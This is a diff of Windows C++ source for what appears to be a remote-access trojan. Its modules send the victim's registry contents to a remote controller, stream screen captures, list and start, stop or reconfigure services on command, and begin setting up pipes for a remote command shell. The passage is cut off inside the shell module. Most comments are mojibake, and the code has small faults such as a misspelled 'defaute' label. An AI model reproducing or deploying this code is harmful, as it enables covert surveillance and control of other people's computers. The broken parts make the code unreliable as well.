pDecodeStr = decodeStr(char_REG_MULTI_SZ);
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
memset(pDecodeStr, 0, char_REG_MULTI_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_BINARY:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
pDecodeStr = decodeStr(char_REG_BINARY);
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
memset(pDecodeStr, 0, char_REG_BINARY[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
}
lstrcat(szData,ValueTemp);

View File

@@ -0,0 +1,55 @@
// RegManager.cpp: implementation of the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegManager.h"
#include "RegeditOpt.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegManager::CRegManager(CClientSocket *pClient):CManager(pClient)
{
BYTE bToken=TOKEN_REGEDIT;
Send((BYTE*)&bToken,1);
}
CRegManager::~CRegManager()
{
}
void CRegManager::Find(char bToken, char *path)
{
RegeditOpt reg(bToken);
if(path!=NULL){
reg.SetPath(path);
}
char *tmp= reg.FindPath();
if(tmp!=NULL){
Send((LPBYTE)tmp, LocalSize(tmp));
LocalFree(tmp);
}
char* tmpd=reg.FindKey();
if(tmpd!=NULL){
Send((LPBYTE)tmpd, LocalSize(tmpd));
LocalFree(tmpd);
}
}
void CRegManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0]){
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(nSize>=3){
Find(lpBuffer[1],(char*)(lpBuffer+2));
}else{
Find(lpBuffer[1],NULL);
}
break;
default:
break;
}
}

View File

@@ -0,0 +1,25 @@
// RegManager.h: interface for the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
#define AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CRegManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
CRegManager(CClientSocket *pClient);
virtual ~CRegManager();
protected:
void Find(char bToken,char* path);
};
#endif // !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)

View File

@@ -0,0 +1,183 @@
// RegeditOpt.cpp: implementation of the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegeditOpt.h"
#include "..\..\..\common\macros.h"
#include <stdlib.h>
#include <malloc.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
RegeditOpt::RegeditOpt()
{
}
RegeditOpt::RegeditOpt(char b)
{
switch(b){
case MHKEY_CLASSES_ROOT:
MKEY=HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
MKEY=HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
MKEY=HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
MKEY=HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
MKEY=HKEY_CURRENT_CONFIG;
break;
default:
MKEY=HKEY_LOCAL_MACHINE;
break;
}
ZeroMemory(KeyPath,MAX_PATH);
}
RegeditOpt::~RegeditOpt()
{
}
char* RegeditOpt::FindPath()
{
char *buf=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
//һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
KeySize=KeyMaxLen+1;
if(KeyCnt>0&&KeySize>1){
int size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD datasize=KeyCnt*KeySize+size+1;
buf=(char*)LocalAlloc(LPTR, datasize);
ZeroMemory(buf,datasize);
buf[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
msg.size=KeySize;
msg.count=KeyCnt;
memcpy(buf+1,(void*)&msg,size);
char * tmp=new char[KeySize];
for(dwIndex=0;dwIndex<KeyCnt;dwIndex++) //ö<><C3B6><EFBFBD><EFBFBD>
{
ZeroMemory(tmp,KeySize);
DWORD i=KeySize;
RegEnumKeyEx(hKey,dwIndex,tmp,&i,NULL,NULL,NULL,NULL);
strcpy(buf+dwIndex*KeySize+size,tmp);
}
delete[] tmp;
RegCloseKey(hKey);
buf=(char*)LocalReAlloc(buf, datasize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
char* RegeditOpt::FindKey()
{
char *szValueName; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
char *szKeyName; //<2F>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
LPBYTE szValueDate; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
char *buf=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DataSize,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
if(NameCnt>0&&MaxDateLen>0&&NameSize>0)
{
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
REGMSG msg;
msg.count=NameCnt; //<2F>ܸ<EFBFBD><DCB8><EFBFBD>
msg.size=NameSize; //<2F><><EFBFBD>ִ<EFBFBD>С
msg.valsize=DataSize; //<2F><><EFBFBD>ݴ<EFBFBD>С
int msgsize=sizeof(REGMSG);
// ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCnt+ NameSize*NameCnt+DataSize*NameCnt+10;
buf=(char*)LocalAlloc(LPTR, size);
ZeroMemory(buf,size);
buf[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
memcpy(buf+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize);
char *tmp=buf+msgsize+1;
for(dwIndex=0;dwIndex<NameCnt;dwIndex++) //ö<>ټ<EFBFBD>ֵ
{
ZeroMemory(szValueName,NameSize);
ZeroMemory(szValueDate,DataSize);
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,NULL,&Type,szValueDate,&DataSize);//<2F><>ȡ<EFBFBD><C8A1>ֵ
if(Type==REG_SZ)
{
tmp[0]=MREG_SZ;
}
if(Type==REG_DWORD)
{
//DWORD d;//=(DWORD)*szValueDate;
// CRegistry reg(hKey);
// reg.Read(szValueName,&d);
// memcpy(szValueDate,(void*)&d,sizeof(DWORD));
tmp[0]=MREG_DWORD;
}
if(Type==REG_BINARY)
{
tmp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ)
{
tmp[0]=MREG_EXPAND_SZ;
}
tmp+=sizeof(BYTE);
strcpy(tmp,szValueName);
tmp+=msg.size;
memcpy(tmp,szValueDate,msg.valsize);
tmp+=msg.valsize;
}
free(szValueName);
free(szValueDate);
buf=(char*)LocalReAlloc(buf, size, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
void RegeditOpt::SetPath(char *path)
{
ZeroMemory(KeyPath,MAX_PATH);
strcpy(KeyPath,path);
}

View File

@@ -0,0 +1,48 @@
// RegeditOpt.h: interface for the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)
#define AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
DWORD valsize; //ֵ<><D6B5>С
};
class RegeditOpt
{
public:
void SetPath(char *path);
char* FindKey();
char* FindPath();
RegeditOpt();
RegeditOpt(char b);
virtual ~RegeditOpt();
protected:
char KeyPath[MAX_PATH];
HKEY MKEY;
};
#endif // !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)

View File

@@ -114,9 +114,12 @@ void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
void CScreenManager::sendBITMAPINFO()
{
//CScreenSpy<70><79><EFBFBD>õ<EFBFBD>bmp size
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
// ͼ<><CDBC>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͸<EFBFBD><CDB8><EFBFBD><EFBFBD>ض<EFBFBD>
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
@@ -170,15 +173,19 @@ DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
//<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
pThis->sendBITMAPINFO();
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>򿪻<EFBFBD>Ӧ
pThis->WaitForDialogOpen();
//<2F><><EFBFBD>͵<EFBFBD>һ֡
pThis->sendFirstScreen();
try // <20><><EFBFBD>ƶ<EFBFBD>ǿ<EFBFBD>ƹر<C6B9>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
while (pThis->m_bIsWorking)
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->sendNextScreen();
}catch(...){};

View File

@@ -33,13 +33,17 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
if (!SelectInputWinStation())
{
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><E6B4B0>
m_hDeskTopWnd = GetDesktopWindow();
// <20><><EFBFBD>ݴ<EFBFBD><DDB4>ڻ<EFBFBD>ȡDC<44><43><EFBFBD><EFBFBD>
m_hFullDC = GetDC(m_hDeskTopWnd);
}
m_dwBitBltRop = SRCCOPY;
m_bAlgorithm = ALGORITHM_SCAN; // Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>
// Ĭ<><C4AC>ʹ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD>ɨ<EFBFBD><C9A8><EFBFBD>
m_bAlgorithm = ALGORITHM_SCAN;
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
@@ -50,6 +54,7 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
m_nStartLine = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>DC
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
@@ -57,21 +62,27 @@ CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
// <20><><EFBFBD><EFBFBD>λͼ<CEBB><EFBFBD><E1B9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpbmi_full<6C><6C>m_lpvFullBits<74><73><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD>ץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
// <20><><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>Ϊλͼ<CEBB><CDBC><EFBFBD><EFBFBD><EFBFBD>˱<EFBFBD><CBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>ڴ<EFBFBD><DAB4>ռ<EFBFBD>
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
// <20><><EFBFBD>ڴ<EFBFBD>DC<44><43>HITMAP<41><50>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>
// ͨ<><CDA8>m_hFullMemDCץȡ<D7A5><C8A1><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><EFBFBD><EFBFBD> m_hFullBitmapȻ<70><C8BB><EFBFBD><EFBFBD><EFBFBD>ݱ<EFBFBD><DDB1><EFBFBD><E6B5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_lpvFullBits<74><73>
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// <20><EFBFBD><E3B9BB>
// <20><EFBFBD><E3B9BB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱץȡ<D7A5><C8A1><EFBFBD><EFBFBD>ͼ<EFBFBD>εĻ<CEB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
@@ -200,6 +211,8 @@ void CScreenSpy::setAlgorithm(UINT nAlgorithm)
InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm);
}
// <20><><EFBFBD><EFBFBD>λͼ<CEBB>
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
@@ -303,13 +316,16 @@ void CScreenSpy::setCaptureLayer(bool bIsCaptureLayer)
LPBITMAPINFO CScreenSpy::getBI()
{
// LPBITMAPINFOλͼ<CEBB><CDBC>Ϣ<EFBFBD>
return m_lpbmi_full;
}
UINT CScreenSpy::getBISize()
{
// <20><>ǰλͼ<CEBB><CDBC>С
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
// <20>ṹ+λͼX<CDBC><EFBFBD><E1B9B9>С
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}

View File

@@ -0,0 +1,294 @@
// ServerManager.cpp: implementation of the CServerManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ServerManager.h"
#include "..\..\..\common\macros.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CServerManager::CServerManager(CClientSocket *pClient) : CManager(pClient)
{
SendServicesList();
}
CServerManager::~CServerManager()
{
}
LPBYTE CServerManager::getServerList()
{
LPQUERY_SERVICE_CONFIG ServicesInfo = NULL;
LPENUM_SERVICE_STATUS lpServices = NULL;
LPBYTE lpBuffer = NULL;
DWORD nSize = 0;
DWORD n;
DWORD nResumeHandle = 0;
DWORD dwServiceType = SERVICE_WIN32;
DWORD dwLength = 0;
DWORD dwOffset = 0;
char runway[256] = {0};
char autorun[256] = {0};
BOOL isAalid = TRUE;
SC_HANDLE schSCManager = NULL;
BOOL Flag = FALSE;
if((schSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
{
OutputDebugString("OpenSCManager Error\n");
return NULL;
}
lpServices = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR, 64*1024); // Allocate Ram
EnumServicesStatus(schSCManager,
dwServiceType,
SERVICE_STATE_ALL,
(LPENUM_SERVICE_STATUS)lpServices,
64 * 1024,
&nSize,
&n,
&nResumeHandle);
lpBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
lpBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < n; i++) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
{
SC_HANDLE service = NULL;
DWORD nResumeHandle = 0;
service=OpenService(schSCManager,lpServices[i].lpServiceName,SERVICE_ALL_ACCESS);//<2F>򿪵<EFBFBD>ǰָ<C7B0><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
if (service == NULL)
isAalid = false;
else
isAalid = true;
ServicesInfo = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 4*1024); // Allocate Ram
QueryServiceConfig(service,ServicesInfo,4*1024,&nResumeHandle); //<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if ( lpServices[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
{
ZeroMemory(runway, sizeof(runway));
lstrcat(runway,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
else
{
ZeroMemory(runway, sizeof(runway));
lstrcat(runway,"ֹͣ");
}
if(2==ServicesInfo->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun,"<EFBFBD>Զ<EFBFBD>");
}
if(3==ServicesInfo->dwStartType)
{
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun,"<EFBFBD>ֶ<EFBFBD>");
}
if(4==ServicesInfo->dwStartType)
{
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
if (isAalid)
{
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
+ lstrlen(ServicesInfo->lpBinaryPathName) + lstrlen(lpServices[i].lpServiceName)
+ lstrlen(runway) + lstrlen(autorun) + 2;
}
else
{
dwLength = sizeof(DWORD) + lstrlen(lpServices[i].lpDisplayName)
+ lstrlen(lpServices[i].lpServiceName)
+ lstrlen(runway) + lstrlen(autorun) + lstrlen("No Access") + 2;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) + 1);
dwOffset += lstrlen(lpServices[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
memcpy(lpBuffer + dwOffset, lpServices[i].lpServiceName, lstrlen(lpServices[i].lpServiceName) + 1);
dwOffset += lstrlen(lpServices[i].lpServiceName) + 1;//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
if (isAalid)
{
memcpy(lpBuffer + dwOffset, ServicesInfo->lpBinaryPathName, lstrlen(ServicesInfo->lpBinaryPathName) + 1);
dwOffset += lstrlen(ServicesInfo->lpBinaryPathName) + 1;//·<><C2B7>
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//<2F><><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(runway) + 1;
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(autorun) + 1;
}
else
{
ZeroMemory(runway, sizeof(runway));
lstrcat(runway, "<EFBFBD><EFBFBD>Ȩ");
ZeroMemory(autorun, sizeof(autorun));
lstrcat(autorun, "<EFBFBD><EFBFBD>Ȩ");
memcpy(lpBuffer + dwOffset, "No Access", lstrlen("No Access") + 1);//·<><C2B7>
dwOffset += lstrlen("No Access") + 1;
memcpy(lpBuffer + dwOffset, runway, lstrlen(runway) + 1);//<2F><><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(runway) + 1;
memcpy(lpBuffer + dwOffset, autorun, lstrlen(autorun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
dwOffset += lstrlen(autorun) + 1;
}
}
CloseServiceHandle(schSCManager);
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
return lpBuffer;
}
void CServerManager::SendServicesList()
{
UINT nRet = -1;
LPBYTE lpBuffer = getServerList();
if (lpBuffer == NULL)
return;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CServerManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_SERVICELIST:
SendServicesList();
break;
case COMMAND_SERVICECONFIG:
ServiceConfig((LPBYTE)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}
void CServerManager::ServiceConfig(LPBYTE lpBuffer, UINT nSize)
{
BYTE COMMAND = lpBuffer[0];
char *m_ServiceName = (char *)(lpBuffer + 1);
switch (COMMAND)
{
case COMMAND_SERVICES_START: //start
{
SC_HANDLE hSCManager1 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager1)
{
SC_HANDLE hService1 = OpenService(hSCManager1, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService1)
{
StartService(hService1, NULL, NULL);
CloseServiceHandle(hService1);
}
CloseServiceHandle(hSCManager1);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_STOP: //stop
{
SC_HANDLE hSCManager4 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager4)
{
SC_HANDLE hService4 = OpenService(hSCManager4, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService4)
{
SERVICE_STATUS stat;
ControlService(hService4, SERVICE_CONTROL_STOP, &stat);
CloseServiceHandle(hService4);
}
CloseServiceHandle(hSCManager4);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_AUTO: //auto
{
SC_HANDLE hSCManager2 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager2)
{
SC_HANDLE hService2 = OpenService(hSCManager2, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService2)
{
SC_LOCK sclLock2 = LockServiceDatabase(hSCManager2);
BOOL stat2 = ChangeServiceConfig(
hService2,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock2);
CloseServiceHandle(hService2);
}
CloseServiceHandle(hSCManager2);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_MANUAL: // DEMAND_START
{
SC_HANDLE hSCManager3 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager3)
{
SC_HANDLE hService3 = OpenService(hSCManager3, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService3)
{
SC_LOCK sclLock3 = LockServiceDatabase(hSCManager3);
BOOL stat3 = ChangeServiceConfig(
hService3,
SERVICE_NO_CHANGE,
SERVICE_DEMAND_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock3);
CloseServiceHandle(hService3);
}
CloseServiceHandle(hSCManager3);
}
Sleep(500);
SendServicesList();
}
defaute:
break;
}
}

View File

@@ -0,0 +1,27 @@
// ServerManager.h: interface for the CServerManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
#define AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CServerManager : public CManager
{
public:
CServerManager(CClientSocket *pClient);
virtual ~CServerManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
protected:
void SendServicesList();
LPBYTE getServerList();
void ServiceConfig(LPBYTE lpBuffer, UINT nSize);
};
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)

View File

@@ -14,7 +14,8 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
char strShellPath[MAX_PATH] = {0};
m_UserShell = false;
m_hReadPipeHandle = NULL;
m_hWritePipeHandle = NULL;
m_hReadPipeShell = NULL;
@@ -23,8 +24,14 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
if(!CreatePipe(
&m_hReadPipeHandle, // __out <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
&m_hWritePipeShell, // __out д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
